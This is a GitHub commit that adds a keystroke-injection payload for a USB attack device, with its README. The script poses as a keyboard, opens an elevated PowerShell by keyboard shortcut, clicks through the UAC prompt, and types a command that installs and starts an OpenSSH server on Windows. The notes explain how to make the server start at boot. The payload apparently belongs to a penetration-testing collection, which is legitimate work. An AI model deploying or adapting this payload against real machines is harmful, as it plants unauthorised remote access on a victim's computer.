New Payload - SSH Server (#451)

* New Payload - SSH Server

* Update Delay
pull/482/head
cribb-it 2021-12-21 23:20:37 +00:00 committed by GitHub
parent 73bf1c0c48
commit 49f7018bf3
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
2 changed files with 54 additions and 0 deletions

View File

@ -0,0 +1,27 @@
# Title: Win SSH server
# Description: Installs and runs a SSH Server on Windows.
# Author: Cribbit
# Version: 1.0
# Category: Execution
# Target: Windows 10 Creators Update (Powershell 5.1+)
# Attackmodes: HID
# Requirements: Admin Privileges and an Online Connection
# Notes: Add ` -StartupType 'Automatic'` after Start-Service to start ssh on boot
LED SETUP
ATTACKMODE HID
LED ATTACK
Q DELAY 200
# Admin Powershell need Windows 10 Creators Update
Q GUI x
Q STRING a
sleep 2
# Q ALT y this work for EN y=yes
# This works for all languages
Q LEFT
Q ENTER
sleep 5
Q STRING "Get-WindowsCapability -Online | ? Name -like 'OpenSSH.Server*' | ? State -EQ 'NotPresent' | % {Add-WindowsCapability -Online -Name \$_.Name}; Start-Service sshd"
# Q ENTER
LED FINISH

View File

@ -0,0 +1,27 @@
# SSH server
- Author: Cribbit
- Version: 1.0
- Target: Windows 10 Creators Update (Powershell)
- Category: Execution
- Attackmode: HID
## Change Log
| Version | Changes |
| ------- | --------------- |
| 1.0 | Initial release |
## Description
Installs and runs a SSH Server on Windows.
## Notes
This payload needs an admin powershell prompt and an internet connection to run.
## Configuration
Add ` -StartupType 'Automatic'` after Start-Service to start ssh on boot.
## Colours
| Status | Colour | Description |
| -------- | ----------------------------- | --------------------------- |
| SETUP | Magenta solid | Setting attack mode |
| ATTACK | Yellow single blink | Injecting Powershell script |
| FINISHED | Green blink followed by SOLID | Script is finished |